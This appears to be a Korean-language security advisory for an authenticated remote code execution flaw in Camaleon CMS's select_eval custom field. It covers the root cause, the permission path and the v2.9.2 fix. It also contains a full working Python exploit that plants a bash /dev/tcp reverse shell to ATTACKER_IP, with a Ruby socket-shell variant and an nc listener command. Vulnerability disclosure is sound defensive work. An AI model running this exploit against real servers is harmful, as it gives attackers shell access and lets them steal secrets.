
보안 권고: Camaleon CMS - `select_eval` 사용자 정의 필드를 통한 인증된 RCE
select_eval 사용자 정의 필드를 통한 인증된 RCE지정 CVE ID: CVE-2026-66748
제품: Camaleon CMS (https://github.com/owen2345/camaleon-cms)
영향을 받는 버전: 2.1.1 – 2.9.1 (커밋 415cbda6 2015-10-16에서 도입; 커밋 15882366 2026-03-29 / v2.9.2에서 수정)
심각도: 높음
CVSS 4.0 점수: 8.7
CVSS 4.0 벡터: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE: CWE-94 (코드 주입)
연구자: Theodosis Paidakis
벤더 통지: 2026-06-21
관련 권고: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval - 동일한 근본 원인을 가진 병렬 필드 유형, CVE 미할당)
select_eval 사용자 정의 필드 유형은 임의의 Ruby 표현식을 field.options[:command]에 저장하고, 게시물 편집 페이지가 렌더링될 때마다 ERB 뷰에서 instance_eval을 통해 이를 실행합니다. v2.9.2 이전에는 custom_fields 관리 권한(일반적으로 편집자 역할 계정에 부여됨)을 가진 모든 사용자가 이 필드 유형을 생성하고 서버 측 RCE를 달성할 수 있었습니다. select_eval 필드는 해당 필드 그룹을 사용하는 모든 게시물의 모든 페이지 렌더링 시 실행되며, 그 출력이 드롭다운 옵션 목록이 됩니다. 이 취약점은 v2.9.2에서 패치되었습니다.
파일: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
instance_eval은 데이터베이스 레코드의 원시 문자열로 호출됩니다. 샌드박싱이 없으며 ERB 바인딩(전체 Rails 뷰 컨텍스트)에서 접근할 수 있는 메서드나 상수에 대한 컴파일 타임 제한이 없습니다.
파일: app/models/camaleon_cms/ability.rb (v2.9.1, 161-165행)
custom_fields는 명시적으로 부여되지 않습니다. 파일 앞부분에서 8개의 리소스가 개별적으로 can :manage를 받으며(media, comments, themes, widgets, nav_menu, plugins, users, settings), custom_fields는 그 중 하나가 아닙니다. 이는 오직 아래의 catch-all을 통해서만 도달 가능하며, 이 코드는 해당 키를 부여해도 안전한지 확인하지 않고 역할의 @roles_manager 해시에 존재하는 모든 키에 manage를 부여합니다:
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
따라서 역할에 custom_fields 비트가 설정된 모든 사용자는 사용자 정의 필드 컨트롤러에 도달할 수 있습니다. 영향을 받는 범위에서 이 비트는 일반적으로 편집자 수준 역할에 부여됩니다.
v2.9.2 재작성은 can을 safe_can 래퍼로 대체하고 custom_fields와 select_eval을 모두 포함하는 명시적 %i[...] 목록을 추가하지만, 위의 catch-all 루프는 해당 버전에도 여전히 존재합니다. 권한 목록이 이 문제를 수정하는 것이 아닙니다. 수정하는 것은 custom_fields_controller.rb의 strong-parameters 허용 목록과 custom_field_group.rb의 can?(:manage, :select_eval) 게이트입니다.
select_eval 필드 유형은 개발자가 CMS 데이터베이스에 저장된 Ruby 코드에서 선택 드롭다운을 동적으로 채울 수 있도록 설계되었습니다. instance_eval을 통해 데이터베이스 열에서 임의의 Ruby를 실행하는 것은 해당 값을 쓸 수 있는 모든 사람에게 셸 접근 권한을 부여하는 것과 같습니다. 권한 요구 사항은 명시적 권한 비트가 아닌 일상적인 콘텐츠 관리 권한인 custom_fields였습니다.
이 발견은 Camaleon CMS의 병렬 label_eval 필드 유형을 다루는 GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9로 게시되었습니다. 해당 권고는 5건의 발견(GHSL-2024-182 ~ GHSL-2024-186) 배치의 일부였으며, 5건 중 2건만 CVE 번호(CVE-2024-46986 및 CVE-2024-46987)를 받았습니다. GHSL-2024-185 자체에는 CVE가 할당되지 않았습니다.
select_eval과 label_eval은 동일한 근본 원인 - ERB 뷰에서 instance_eval을 통해 실행되는 데이터베이스에 저장된 임의의 Ruby - 을 공유하지만 다른 모든 측면에서는 구별됩니다:
label_eval (GHSL-2024-185) | select_eval (본 보고서) | |
|---|---|---|
| 실행 위치 | 모든 폼의 필드 레이블 | 게시물 편집 페이지의 select_tag |
| 쓰기 경로 | 사용자 정의 필드 레이블 텍스트 | field.options[:command] 메타 행 |
본 보고서는 select_eval만 다룹니다. 이 특정 필드 유형과 그 악용 경로를 문서화한 기존 CVE나 공개 권고는 없습니다.
영향을 받는 범위 v2.1.1 ~ v2.9.1은 소스 분석으로 확인되었으며, 악용은 v2.9.1에서 종단 간 확인되었습니다. 서버 접근 권한 없이 custom_fields 권한이 있는 계정만 필요합니다.
전제 조건: custom_fields 관리 비트가 설정된 모든 계정 - 영향을 받는 범위에서 표준 편집자 역할 권한.
1단계. 리스너 시작:
nc -lnvp 4444
2단계. 스크립트 실행. BASE, ATTACKER_IP, TYPE_ID, POST_ID 및 자격 증명을 편집하십시오.
TYPE_ID - 관리자 사이드바 URL에 표시되는 게시물 유형 ID (예: /admin/post_type/2/posts).
POST_ID - 게시물 목록의 편집 링크에 있는 해당 유형의 모든 게시물 ID.
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
custom_fields 권한(v2.9.2 이전)이 있는 모든 계정은 다음을 얻습니다:
deploy, www-data, rails 등)의 권한으로 실행config/secrets.yml에서 secret_key_base를 읽으면 관리자를 포함한 모든 사용자의 임의 세션 쿠키를 위조할 수 있습니다v2.9.2 이전에는 custom_fields 권한이 일반적으로 편집자 역할 사용자에게 부여되었습니다. 모든 편집자 수준 계정을 탈취한 공격자는 전체 서버 측 RCE를 달성합니다.
2026-06-19 - v2.9.2 및 v2.9.1 소스 분석 중 발견 2026-06-21 - 벤더 통지 2026-03-29 - 패치 이미 릴리스됨 (v2.9.2, 커밋 15882366)